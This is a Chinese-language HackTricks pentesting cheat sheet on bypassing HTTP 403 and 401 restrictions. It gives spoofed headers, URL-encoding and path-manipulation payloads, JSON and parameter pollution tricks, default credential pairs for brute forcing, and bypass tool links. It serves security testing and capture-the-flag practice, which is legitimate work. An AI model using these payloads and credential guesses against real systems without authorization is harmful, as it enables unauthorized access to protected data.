403 & 401 绕过
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HTTP 动词/方法模糊测试
尝试使用 不同的动词 访问文件: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- 检查响应头,可能会提供一些信息。例如,HEAD 的 200 响应 和
Content-Length: 55
表示 HEAD 动词可以访问信息。但你仍然需要找到一种方法来提取该信息。 - 使用 HTTP 头如
X-HTTP-Method-Override: PUT
可以覆盖所使用的动词。 - 使用
TRACE
动词,如果你非常幸运,可能在响应中也能看到 中间代理添加的头,这可能会很有用。
HTTP 头模糊测试
-
更改 Host 头 为某个任意值 (这里有效)
-
尝试 使用其他用户代理 访问资源。
-
模糊测试 HTTP 头:尝试使用 HTTP 代理 头、HTTP 基本认证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 fuzzhttpbypass。
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
如果 路径受到保护,你可以尝试使用这些其他头绕过路径保护:
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
模糊测试 特殊 HTTP 头 寻找不同的响应。
-
模糊测试特殊 HTTP 头 的同时模糊测试 HTTP 方法。
-
移除 Host 头,也许你将能够绕过保护。
路径 模糊测试
如果 /path 被阻止:
- 尝试使用 /%2e/path _(如果访问被代理阻止,这可能绕过保护)。也尝试_** /%252e**/path(双重 URL 编码)
- 尝试 Unicode 绕过: /%ef%bc%8fpath(URL 编码字符类似于 "/"),因此当重新编码时将变为 //path,也许你已经绕过了 /path 名称检查
- 其他路径绕过:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- 在以下情况下使用 此列表:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- 其他 API 绕过:
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Unauthorized
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)
参数操控
- 更改 参数值:从
id=123
-->id=124
- 向 URL 添加额外参数:
?
id=124
—->id=124&isAdmin=true
- 移除参数
- 重新排序参数
- 使用特殊字符。
- 在参数中执行边界测试 — 提供值如 -234 或 0 或 99999999(仅为一些示例值)。
协议版本
如果使用 HTTP/1.1 尝试使用 1.0 或甚至测试是否 支持 2.0。
其他绕过
- 获取域的 IP 或 CNAME 并尝试 直接联系。
- 尝试 施压服务器 发送常见的 GET 请求 (这个人用 Facebook 成功了).
- 更改协议:从 http 到 https,或从 https 到 http
- 访问 https://archive.org/web/ 并检查过去该文件是否 全球可访问。
暴力破解
- 猜测密码:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?
- 暴力破解: 尝试基本、摘要和 NTLM 认证。
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
自动化工具
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Forbidden Buster
- NoMoreForbidden
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。